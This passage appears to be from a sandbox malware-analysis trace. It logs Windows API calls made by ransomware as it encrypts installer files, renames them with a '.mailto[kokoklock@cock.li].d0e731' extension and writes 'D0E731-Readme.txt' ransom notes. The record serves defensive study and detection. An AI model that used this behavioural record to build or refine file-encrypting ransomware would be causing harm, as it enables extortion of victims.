dwFileAttributes=0x80) returned 1 [0071.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bf00) returned 1 [0071.396] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf", dwFileAttributes=0x80) returned 0 [0071.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x34270d0 [0071.396] wcscpy (in: _Dest=0x34270d0, _Source="C:\\588bce7c90097ed212\\1053\\" | out: _Dest="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\" [0071.396] wcscat (in: _Dest=0x34270d0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1053\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1053\\D0E731-Readme.txt" [0071.396] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1053\\d0e731-readme.txt")) returned 0x20 [0071.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34270d0) returned 1 [0071.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fa7d8) returned 1 [0071.396] RtlExitUserThread (Status=0x1) Thread: id = 225 os_tid = 0x11fc [0063.483] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80 [0064.632] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0071.373] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0071.373] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0xbcafc8c | out: lpFileSize=0xbcafc8c*=77680) returned 1 [0071.374] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x12f6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.374] ReadFile (in: hFile=0x3a4, lpBuffer=0xbcafc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbcafc5c, lpOverlapped=0x0 | out: lpBuffer=0xbcafc60*, lpNumberOfBytesRead=0xbcafc5c*=0x4, lpOverlapped=0x0) returned 1 [0071.375] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.375] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422ff0 [0071.375] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423130 [0071.375] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423158 [0071.375] NtQuerySystemTime (in: CurrentTime=0xbcafc38 | out: CurrentTime=0xbcafc38*=132121176292753965) returned 0x0 [0071.375] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0x4b8087ec [0071.375] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0x30f6e9d9 [0071.375] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0x96a31bd5 [0071.375] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0x4cb99434 [0071.375] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0xb7030ac0 [0071.375] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0xbc670722 [0071.375] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0x4f66e617 [0071.375] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0x73caf90a [0071.375] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0x2e97f6f0 [0071.375] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0xc9e22b8b [0071.375] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0xd993fec1 [0071.375] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0x29cc74e6 [0071.375] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0xe2acacf7 [0071.375] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0xcf455ed8 [0071.375] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0xbbcfb842 [0071.375] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0x20000d6d [0071.375] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0x3a0b2d6e [0071.376] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0x50500afe [0071.376] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0x330201c9 [0071.376] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0x4dd8302d [0071.376] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0xa7284ade [0071.376] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0x822636a2 [0071.376] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0x6860b9b0 [0071.376] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0xb7e503fa [0071.376] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0xe0bc00ae [0071.376] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0xb4eff907 [0071.376] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0x80ed92f6 [0071.376] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0x869ddd79 [0071.376] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0xa59d9f38 [0071.376] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0xbe41c105 [0071.376] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0x98d07076 [0071.376] RtlRandom (in: Seed=0xbcafc44 | out: Seed=0xbcafc44) returned 0x1bd174a5 [0071.386] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.387] ReadFile (in: hFile=0x3a4, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xbcafc10, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xbcafc10*=0x4096, lpOverlapped=0x0) returned 1 [0071.387] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.387] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0071.387] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.387] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fc8 [0071.387] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fc8) returned 1 [0071.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34230e0 [0071.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423018 [0071.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423018) returned 1 [0071.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0071.388] WriteFile (in: hFile=0x3a4, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xbcafc10, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0xbcafc10*=0x4096, lpOverlapped=0x0) returned 1 [0071.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.388] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x12f70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.388] WriteFile (in: hFile=0x3a4, lpBuffer=0x34230e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbcafc48, lpOverlapped=0x0 | out: lpBuffer=0x34230e0*, lpNumberOfBytesWritten=0xbcafc48*=0x20, lpOverlapped=0x0) returned 1 [0071.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34230e0) returned 1 [0071.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.388] WriteFile (in: hFile=0x3a4, lpBuffer=0x3423068*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xbcafc5c, lpOverlapped=0x0 | out: lpBuffer=0x3423068*, lpNumberOfBytesWritten=0xbcafc5c*=0x8, lpOverlapped=0x0) returned 1 [0071.389] WriteFile (in: hFile=0x3a4, lpBuffer=0xbcafc74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbcafc5c, lpOverlapped=0x0 | out: lpBuffer=0xbcafc74*, lpNumberOfBytesWritten=0xbcafc5c*=0x4, lpOverlapped=0x0) returned 1 [0071.389] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbcafc5c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xbcafc5c*=0x4, lpOverlapped=0x0) returned 1 [0071.389] WriteFile (in: hFile=0x3a4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xbcafc5c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xbcafc5c*=0x6c, lpOverlapped=0x0) returned 1 [0071.389] WriteFile (in: hFile=0x3a4, lpBuffer=0x3423130*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbcafc5c, lpOverlapped=0x0 | out: lpBuffer=0x3423130*, lpNumberOfBytesWritten=0xbcafc5c*=0x20, lpOverlapped=0x0) returned 1 [0071.389] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbcafc5c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xbcafc5c*=0x4, lpOverlapped=0x0) returned 1 [0071.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423130) returned 1 [0071.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423220) returned 1 [0071.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423068) returned 1 [0071.389] CloseHandle (hObject=0x3a4) returned 1 [0071.389] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6330 [0071.389] wcscpy (in: _Dest=0x33e6330, _Source="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" [0071.390] wcscat (in: _Dest=0x33e6330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0071.390] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.391] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0071.391] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0071.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426f30 [0071.391] wcscpy (in: _Dest=0x3426f30, _Source="C:\\588bce7c90097ed212\\1053\\" | out: _Dest="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\" [0071.391] wcscat (in: _Dest=0x3426f30, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1053\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1053\\D0E731-Readme.txt" [0071.391] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1053\\d0e731-readme.txt")) returned 0xffffffff [0071.391] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1053\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7bc [0071.394] WriteFile (in: hFile=0x7bc, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xbcafc58, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xbcafc58*=0x481, lpOverlapped=0x0) returned 1 [0071.394] CloseHandle (hObject=0x7bc) returned 1 [0071.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426f30) returned 1 [0071.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8390) returned 1 [0071.395] RtlExitUserThread (Status=0x1) Thread: id = 226 os_tid = 0x1200 [0063.483] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80 [0066.374] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf", dwFileAttributes=0x20) returned 1 [0068.673] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x760 [0068.673] GetFileSizeEx (in: hFile=0x760, lpFileSize=0xbd2ff1c | out: lpFileSize=0xbd2ff1c*=12687) returned 1 [0068.674] SetFilePointerEx (in: hFile=0x760, liDistanceToMove=0x318b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.674] ReadFile (in: hFile=0x760, lpBuffer=0xbd2fef0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbd2feec, lpOverlapped=0x0 | out: lpBuffer=0xbd2fef0*, lpNumberOfBytesRead=0xbd2feec*=0x4, lpOverlapped=0x0) returned 1 [0068.675] SetFilePointerEx (in: hFile=0x760, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.675] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423f10 [0068.675] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423fd8 [0068.675] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423f60 [0068.675] NtQuerySystemTime (in: CurrentTime=0xbd2fec8 | out: CurrentTime=0xbd2fec8*=132121176265723023) returned 0x0 [0068.675] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x6af39c37 [0068.675] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x3ff567d5 [0068.675] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0xa6565f81 [0068.675] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x9a5d44a4 [0068.675] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x90a1ecac [0068.675] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x209dd139 [0068.675] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x2e8f8c1c [0068.675] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x39d89ca0 [0068.675] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x315a4176 [0068.675] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0xd27dc408 [0068.675] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x6fac6d3e [0068.675] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x61fb0711 [0068.675] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x9a9e3d4 [0068.675] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0xe6f3b5d1 [0068.675] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x5d7dc816 [0068.675] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x2b92b9a9 [0068.676] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x2b2b8434 [0068.676] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x78bbf9b1 [0068.676] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0xcfdd62be [0068.676] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x1850f809 [0068.676] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0xd87af8b5 [0068.676] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0xb2dbb597 [0068.676] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x1bec6e9d [0068.676] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x7aa21f7 [0068.676] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x3044435e [0068.676] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x924bac94 [0068.676] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x4a28c6 [0068.676] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x7aeb8361 [0068.676] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0xeac1732b [0068.676] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x72e9352 [0068.676] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x5f234532 [0068.676] RtlRandom (in: Seed=0xbd2fed4 | out: Seed=0xbd2fed4) returned 0x1150c71a [0068.686] ReadFile (in: hFile=0x760, lpBuffer=0x3475830, nNumberOfBytesToRead=0x318f, lpNumberOfBytesRead=0xbd2fec8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xbd2fec8*=0x318f, lpOverlapped=0x0) returned 1 [0068.688] SetFilePointerEx (in: hFile=0x760, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xbd2fe90 | out: lpNewFilePointer=0x0) returned 1 [0068.688] WriteFile (in: hFile=0x760, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x318f, lpNumberOfBytesWritten=0xbd2fec4, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xbd2fec4*=0x318f, lpOverlapped=0x0) returned 1 [0068.688] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423f38 [0068.688] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e70 [0068.688] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e70) returned 1 [0068.688] WriteFile (in: hFile=0x760, lpBuffer=0x3423f38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbd2fec0, lpOverlapped=0x0 | out: lpBuffer=0x3423f38*, lpNumberOfBytesWritten=0xbd2fec0*=0x20, lpOverlapped=0x0) returned 1 [0068.688] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423f38) returned 1 [0068.688] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.688] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.688] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0068.688] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd28) returned 1 [0068.688] WriteFile (in: hFile=0x760, lpBuffer=0x3424000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xbd2feec, lpOverlapped=0x0 | out: lpBuffer=0x3424000*, lpNumberOfBytesWritten=0xbd2feec*=0x8, lpOverlapped=0x0) returned 1 [0068.688] WriteFile (in: hFile=0x760, lpBuffer=0xbd2ff04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbd2feec, lpOverlapped=0x0 | out: lpBuffer=0xbd2ff04*, lpNumberOfBytesWritten=0xbd2feec*=0x4, lpOverlapped=0x0) returned 1 [0068.688] WriteFile (in: hFile=0x760, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbd2feec, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xbd2feec*=0x4, lpOverlapped=0x0) returned 1 [0068.688] WriteFile (in: hFile=0x760, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xbd2feec, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xbd2feec*=0x6c, lpOverlapped=0x0) returned 1 [0068.689] WriteFile (in: hFile=0x760, lpBuffer=0x3423fd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbd2feec, lpOverlapped=0x0 | out: lpBuffer=0x3423fd8*, lpNumberOfBytesWritten=0xbd2feec*=0x20, lpOverlapped=0x0) returned 1 [0068.689] WriteFile (in: hFile=0x760, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbd2feec, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xbd2feec*=0x4, lpOverlapped=0x0) returned 1 [0068.689] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423fd8) returned 1 [0068.689] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e48) returned 1 [0068.689] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424000) returned 1 [0068.689] CloseHandle (hObject=0x760) returned 1 [0071.263] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347c328 [0071.263] wcscpy (in: _Dest=0x347c328, _Source="C:\\588bce7c90097ed212\\1042\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned="C:\\588bce7c90097ed212\\1042\\eula.rtf" [0071.263] wcscat (in: _Dest=0x347c328, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0071.263] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.266] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.266] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c328) returned 1 [0071.266] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf", dwFileAttributes=0x80) returned 0 [0071.267] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427750 [0071.267] wcscpy (in: _Dest=0x3427750, _Source="C:\\588bce7c90097ed212\\1042\\" | out: _Dest="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\" [0071.267] wcscat (in: _Dest=0x3427750, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1042\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1042\\D0E731-Readme.txt" [0071.267] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1042\\d0e731-readme.txt")) returned 0x20 [0071.267] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427750) returned 1 [0071.267] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fab98) returned 1 [0071.267] RtlExitUserThread (Status=0x1) Thread: id = 227 os_tid = 0x1204 [0063.484] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80 [0064.632] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0071.245] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7ac [0071.245] GetFileSizeEx (in: hFile=0x7ac, lpFileSize=0xbdafeb0 | out: lpFileSize=0xbdafeb0*=65238) returned 1 [0071.245] SetFilePointerEx (in: hFile=0x7ac, liDistanceToMove=0xfed2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.245] ReadFile (in: hFile=0x7ac, lpBuffer=0xbdafe84, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbdafe80, lpOverlapped=0x0 | out: lpBuffer=0xbdafe84*, lpNumberOfBytesRead=0xbdafe80*=0x4, lpOverlapped=0x0) returned 1 [0071.246] SetFilePointerEx (in: hFile=0x7ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.246] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.246] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0071.246] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cd0 [0071.246] NtQuerySystemTime (in: CurrentTime=0xbdafe5c | out: CurrentTime=0xbdafe5c*=132121176291347784) returned 0x0 [0071.246] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0xecfb3bc8 [0071.246] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0xc1cb10bd [0071.246] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0x54ab896b [0071.246] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0xbc152d3e [0071.246] RtlRandom (in: Seed=0xbdafe68 | 